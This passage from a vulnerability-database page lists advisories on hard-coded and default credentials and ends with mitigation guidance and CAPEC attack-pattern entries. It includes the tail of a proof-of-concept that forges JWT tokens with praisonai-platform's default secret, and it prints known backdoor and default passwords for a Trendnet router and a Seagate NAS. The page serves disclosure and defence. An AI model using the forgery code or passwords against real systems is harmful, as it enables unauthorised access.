{\"id\":ident.id,\"email\":ident.email,\"name\":ident.name})\nassert ident and ident.id==\"attacker-id\" and mod.JWT_SECRET==\"dev-secret-change-me\"\nprint(\"[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] REAL module JWT_SECRET = \u0027dev-secret-change-me\u0027 | _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n[*] REAL _issue_token -\u003e eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...\n[+] REAL _verify_token -\u003e {\u0027id\u0027: \u0027attacker-id\u0027, \u0027email\u0027: \u0027attacker@evil.test\u0027, \u0027name\u0027: \u0027admin\u0027}\n[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-cwj8-7gp2-ggcw",
  "modified": "2026-07-20T21:28:37Z",
  "published": "2026-06-18T14:27:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cwj8-7gp2-ggcw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai-platform: default JWT signing secret \u0027dev-secret-change-me\u0027 enables token forgery"
}

GHSA-CX29-CQMJ-72F7

Vulnerability from github – Published: 2021-12-31 00:00 – Updated: 2022-01-08 00:00
VLAI
Details

Trendnet AC2600 TEW-827DRU version 2.08B01 makes use of hardcoded credentials. It is possible to backup and restore device configurations via the management web interface. These devices are encrypted using a hardcoded password of "12345678".

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-20155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-30T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Trendnet AC2600 TEW-827DRU version 2.08B01 makes use of hardcoded credentials. It is possible to backup and restore device configurations via the management web interface. These devices are encrypted using a hardcoded password of \"12345678\".",
  "id": "GHSA-cx29-cqmj-72f7",
  "modified": "2022-01-08T00:00:37Z",
  "published": "2021-12-31T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20155"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2021-54"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CX2F-7CHX-H565

Vulnerability from github – Published: 2022-05-14 03:36 – Updated: 2022-05-14 03:36
VLAI
Details

backupmgt/pre_connect_check.php in Seagate BlackArmor NAS contains a hard-coded password of '!~@##$$%FREDESWWSED' for a backdoor user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-3205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-23T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "backupmgt/pre_connect_check.php in Seagate BlackArmor NAS contains a hard-coded password of \u0027!~@##$$%FREDESWWSED\u0027 for a backdoor user.",
  "id": "GHSA-cx2f-7chx-h565",
  "modified": "2022-05-14T03:36:49Z",
  "published": "2022-05-14T03:36:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3205"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/33159"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CX3H-87P4-85CJ

Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:30
VLAI
Details

CA Performance Management 3.5.x, 3.6.x before 3.6.9, and 3.7.x before 3.7.4 have a default credential vulnerability that can allow a remote attacker to execute arbitrary commands and compromise system security.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-13657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-17T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "CA Performance Management 3.5.x, 3.6.x before 3.6.9, and 3.7.x before 3.7.4 have a default credential vulnerability that can allow a remote attacker to execute arbitrary commands and compromise system security.",
  "id": "GHSA-cx3h-87p4-85cj",
  "modified": "2024-04-04T02:30:44Z",
  "published": "2022-05-24T16:59:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13657"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Oct/26"
    },
    {
      "type": "WEB",
      "url": "https://techdocs.broadcom.com/us/product-content/recommended-reading/security-notices/ca-20191015-01-security-notice-for-ca-performance-management.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/154904/CA-Performance-Management-Arbitary-Command-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/154904/CA-Performance-Management-Arbitrary-Command-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/Oct/37"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CX6M-HWFJ-FVVW

Vulnerability from github – Published: 2022-12-14 00:30 – Updated: 2024-04-04 03:15
VLAI
Details

Delta Industrial Automation DIALink versions 1.4.0.0 and prior are vulnerable to the use of a hard-coded cryptographic key which could allow an attacker to decrypt sensitive data and compromise the machine.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-321",
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-13T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Delta Industrial Automation DIALink versions 1.4.0.0 and prior are vulnerable to the use of a hard-coded cryptographic key which could allow an attacker to decrypt sensitive data and compromise the machine.",
  "id": "GHSA-cx6m-hwfj-fvvw",
  "modified": "2024-04-04T03:15:50Z",
  "published": "2022-12-14T00:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2660"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-235-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CXCH-RC9P-Q6HQ

Vulnerability from github – Published: 2026-02-13 21:31 – Updated: 2026-02-27 00:31
VLAI
Details

Calero VeraSMART versions prior to 2026 R1 contain hardcoded static AES encryption keys within Veramark.Framework.dll (Veramark.Core.Config class). These keys are used to encrypt the password of the service account stored in C:\VeraSMART Data\app.settings. An attacker with local access to the system can extract the hardcoded keys from the Veramark.Framework.dll module and decrypt the stored credentials. The recovered credentials can then be used to authenticate to the Windows host, potentially resulting in local privilege escalation depending on the privileges of the configured service account.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-26334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-13T21:16:52Z",
    "severity": "HIGH"
  },
  "details": "Calero VeraSMART versions prior to\u00a02026 R1 contain hardcoded static AES encryption keys within Veramark.Framework.dll (Veramark.Core.Config class). These keys are used to encrypt the password of the service account stored in C:\\\\VeraSMART Data\\\\app.settings. An attacker with local access to the system can extract the hardcoded keys from the Veramark.Framework.dll module and decrypt the stored credentials. The recovered credentials can then be used to authenticate to the Windows host, potentially resulting in local privilege escalation depending on the privileges of the configured service account.",
  "id": "GHSA-cxch-rc9p-q6hq",
  "modified": "2026-02-27T00:31:44Z",
  "published": "2026-02-13T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26334"
    },
    {
      "type": "WEB",
      "url": "https://www.calero.com"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/calero-verasmart-2026-r1-hardcoded-static-aes-keys-allow-decryption-of-service-credentials"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CXHC-5WV5-J4R5

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

SonicWall Email Security Virtual Appliance version 10.0.9 and earlier versions contain a default username and a password that is used at initial setup. An attacker could exploit this transitional/temporary user account from the trusted domain to access the Virtual Appliance remotely only when the device is freshly installed and not connected to Mysonicwall.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-20025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-13T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "SonicWall Email Security Virtual Appliance version 10.0.9 and earlier versions contain a default username and a password that is used at initial setup. An attacker could exploit this transitional/temporary user account from the trusted domain to access the Virtual Appliance remotely only when the device is freshly installed and not connected to Mysonicwall.",
  "id": "GHSA-cxhc-5wv5-j4r5",
  "modified": "2022-05-24T19:02:21Z",
  "published": "2022-05-24T19:02:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20025"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CXV7-6JGF-7GWF

Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2024-04-24 22:43
VLAI
Summary
ThinkAdmin Admin Panel Access using Default Credentials
Details

ThinkAdmin v6 has default administrator credentials, which allows attackers to gain unrestricted administratior dashboard access.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zoujingli/thinkadmin"
      },
      "versions": [
        "6.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2020-35296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T22:43:32Z",
    "nvd_published_at": "2021-03-03T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "ThinkAdmin v6 has default administrator credentials, which allows attackers to gain unrestricted administratior dashboard access.",
  "id": "GHSA-cxv7-6jgf-7gwf",
  "modified": "2024-04-24T22:43:32Z",
  "published": "2022-05-24T17:43:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35296"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Shrimant12/CVE-References/blob/main/CVE-2020-35296.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zoujingli/ThinkAdmin"
    },
    {
      "type": "WEB",
      "url": "https://smshrimant.com/admin-panel-access-using-default-credentials"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ThinkAdmin Admin Panel Access using Default Credentials"
}

GHSA-F282-55F7-242H

Vulnerability from github – Published: 2024-01-23 06:30 – Updated: 2025-12-31 03:30
VLAI
Details

Improper Input Validation in Hitron Systems DVR HVR-8781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-22769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-23T05:15:08Z",
    "severity": "HIGH"
  },
  "details": "Improper Input Validation in Hitron Systems DVR HVR-8781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.",
  "id": "GHSA-f282-55f7-242h",
  "modified": "2025-12-31T03:30:26Z",
  "published": "2024-01-23T06:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22769"
    },
    {
      "type": "WEB",
      "url": "http://www.hitron.co.kr/firmware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7].
  • In Windows environments, the Encrypted File System (EFS) may provide some protection.
Mitigation
Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Mitigation
Architecture and Design

If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Mitigation
Architecture and Design
  • For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.
  • Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.
Mitigation
Architecture and Design
  • For front-end to back-end connections: Three solutions are possible, although none are complete.
  • The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.
  • Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.
  • Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.
CAPEC-191: Read Sensitive Constants Within an Executable

An adversary engages in activities to discover any sensitive constants present within the compiled code of an executable. These constants may include literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis.

CAPEC-70: Try Common or Default Usernames and Passwords

An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.